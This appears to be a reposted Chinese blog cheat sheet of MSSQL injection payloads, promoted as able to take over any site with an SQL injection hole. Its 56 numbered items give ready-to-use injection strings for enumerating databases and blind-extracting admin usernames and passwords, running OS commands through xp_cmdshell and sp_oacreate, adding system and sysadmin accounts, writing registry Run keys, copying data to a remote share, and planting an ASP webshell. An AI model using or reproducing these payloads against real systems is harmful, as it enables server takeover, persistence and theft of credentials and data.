zoukankan      html  css  js  c++  java
  • 很全的SQL注入语句,有SQL漏洞的都可以拿下 狼人:

    1、返回的是连接的数据库名 and db_name()>0

    2、作用是获取连接用户名 and user>0

    3、将数据库备份到Web目录下面 ;backup database 数据库名 to disk='c:\inetpub\wwwroot\1.db';--

    4、显示SQL系统版本 and 1=(select @@VERSION) 或and 1=convert(int,@@version)--

    5、判断xp_cmdshell扩展存储过程是否存在 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name ='xp_cmdshell')

    6、恢复xp_cmdshell扩展存储的命令 ;exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';--

    7、向启动组中写入命令行和执行程序 ;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\ Run','help1','REG_SZ','cmd.exe /c net user test ptlove /add'

    8、查看当前的数据库名称 and 0 <> db_name(n) n改成0,1,2,3……就可以跨库了 或and 1=convert(int,db_name())--

    9、不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令(同第76)

    10、则把得到的数据内容全部备份到WEB目录下 ;backup database 数据库名 to disk='c:\inetpub\wwwroot\save.db'

    11、通过复制CMD创建UNICODE漏洞 ;exec master.dbo.xp_cmdshell "copy c:\winnt\system32\cmd.exe   c:\inetpub\scripts\cmd.exe"

    12、遍历系统的目录结构,分析结果并发现WEB虚拟目录 先创建一个临时表:temp ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- (1)利用xp_availablemedia来获得当前所有驱动器,并存入temp表中    ;insert temp exec master.dbo.xp_availablemedia;-- 通过查询temp的内容来获得驱动器列表及相关信息 (2)利用xp_subdirs获得子目录列表,并存入temp表中                    ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- (3)还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中   ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- (实验成功)

    13、查看某个文件的内容,可以通过执行xp_cmdsell ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';--

    14、将一个文本文件插入到一个临时表中 ;bulk insert temp(id) from 'c:\inetpub\wwwroot\index.asp'

    15、每完成一项浏览后,应删除TEMP中的所有内容,删除方法是: ;delete from temp;--

    16、浏览TEMP表的方法是: and (select top 1 id from TestDB.dbo.temp)>0 假设TestDB是当前连接的数据库名

    17、猜解所有数据库名称 and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0   dbid=6,7,8分别得到其它库名

    18、猜解数据库中用户名表的名称 and (select count(*) from TestDB.dbo.表名)>0 若表名存在,则abc.asp工作正常,否则异常。如此循环,直到猜到系统帐号表的名称。

    19、判断是否是sysadmin权限 and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))

    20、判断是否是SA用户 'sa'=(SELECT System_user)

    21、查看数据库角色 ;use model--

    22、查看库名 and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)--

    23、获得第一个用户建立表的名称 and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 )>0   假设要获得数据库是TestDB.dbo

    24、获得第二个用户建立的表的名称 and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 and name not in('xyz'))>0

    25、获得第三个用户建立的表的名称 and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 and name not in('xyz',''))>0   ''中为第二个用户名

    26、获得第四个用户建立的表的名称 and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 and name not in('xyz','',''))>0   '',''中为第二,三个用户名

    27、获得表中记录的条数 and (select count(*) from 表名)<5 记录条数小于5   或   <10 记录条数小于10   ……等等

    28、测试权限结构(mssql) and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));-- and 1=(SELECT IS_SRVROLEMEMBER('setupadmin'));-- and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));-- and 1=(SELECT IS_SRVROLEMEMBER('diskadmin'));-- and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));-- and 1=(SELECT IS_MEMBER('db_owner'));--

    29、 添加mssql和系统的帐户 ;exec master.dbo.sp_addlogin username;-- ;exec master.dbo.sp_password null,username,password;-- ;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- ;exec master.dbo.xp_cmdshell 'net user username password /add';-- ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--

    30、 简洁的webshell use model create table cmd(str image); insert into cmd(str) values ('<%=server.createobject("wscript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%>'); backup database model to disk='g:\wwwtest\l.asp';

    请求的时候,像这样子用: http://ip/l.asp?c=dir

    31、猜解字段名称 猜解法:and (select count(字段名) from 表名)>0   若“字段名”存在,则返回正常 读取法:and (select top 1 col_name(object_id('表名'),1) from sysobjects)>0   把col_name(object_id('表名'),1)中的1依次换成2,3,4,5,6…就可得到所有的字段名称。

    32、 猜解用户名与密码 ASCII码逐字解码法:基本的思路是先猜出字段的长度,然后依次猜出每一位的值 and (select top 1 len(username) from admin)=X(X=1,2,3,4,5,… n,假设:username为用户名字段的名称,admin为表的名称   若x为某一值i且abc.asp运行正常时,则i就是第一个用户名的长度。 and (select top 1 ascii(substring(username,m,1)) from admin)=n   (m的值在上一步得到的用户名长度之间,当m=1,2,3,…时猜测分别猜测第1,2,3,…位的值;n的值是1~9、a~z、A~Z的ASCII值,也就是1~128之间的任意值;admin为系统用户帐号表的名称),

    33、建立数据表 ;create table 表名 (列名1 数据类型,列名2 数据类型);--

    34、向表格中插入数据 ;insert into 表名 (列名1,列名2,……) values ('值1','值2'……);--

    35、更新记录 update 表名 set 列名1='值'…… where ……

    36、删除记录 delete from 表名 where ……

    37、删除数据库表格 drop table 表名

    38、将文本文件导入表 使用'bulk insert'语法可以将一个文本文件插入到一个临时表中。简单地创建这个表: create table foo( line varchar(8000)) 然后执行bulk insert操作把文件中的数据插入到表中,如: bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'

    39、备份当前数据库的命令: declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat' ,name='test';--

    40、使用sp_makewebtask处理过程的相关请求写入URL ; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

    41、将获得SQLSERVER进程的当前工作目录中的目录列表 Exec master..xp_cmdshell 'dir'

    42、将提供服务器上所有用户的列表 Exec master..xp_cmdshell 'net user'

    43、读注册表存储过程 exec xp_regread HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'

    44、xp_servicecontrol过程允许用户启动,停止,暂停和继续服务 exec master..xp_servicecontrol 'start','schedule' exec master..xp_servicecontrol 'start','server'

    45、显示机器上有用的驱动器 Xp_availablemedia

    46、允许获得一个目录树 Xp_dirtree

    47、提供进程的进程ID,终止此进程 Xp_terminate_process

    48、恢复xp_cmdshell Exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'

    49、堵上cmdshell的SQL语句 sp_dropextendedproc "xp_cmdshell"

    50、不需要XP_CMDSHLL直接添加系统帐号,对XPLOG70.DLL被删很有效 declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user gchn aaa /add'--

    51、在数据库内添加一个hax用户 ;exec sp_addlogin hax;--

    52、给hax设置密码 ;exec master.dbo.sp_password null,username,password;--

    53、将hax添加到sysadmin组 ;exec master.dbo.sp_addsrvrolemember sysadmin hax;--

    54、(1)遍历目录 ;create table dirs(paths varchar(100), id int) ;insert dirs exec master.dbo.xp_dirtree 'c:\' ;and (select top 1 paths from dirs)>0 ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)

    55、(2)遍历目录 ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容

    56、mssql中的存储过程 xp_regenumvalues 注册表根键, 子键 ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 xp_regread 根键,子键,键值名 ;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 xp_regwrite 根键,子键, 值名, 值类型, 值 值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 xp_regdeletevalue 根键,子键,值名 exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Tes

    声明:此博有部分内容为转载,版权归原作者所有~
  • 相关阅读:
    JZOJ 5728. 简单计数|| (容斥+动态规划)
    6638. 【GDOI2020.5.16模拟】Seat (队列)
    JZOJ 5750. 青青草原播种计划 (小性质+线段树)
    JZOJ 5753. 完全二叉树 (可持久化线段树维护hash值)
    JS框架-React.js
    flexbox弹性盒子布局
    压缩js和css文件的原理
    JS判断数据类型的方式
    JS数据类型
    ES6新特性
  • 原文地址:https://www.cnblogs.com/waw/p/2304237.html
Copyright © 2011-2022 走看看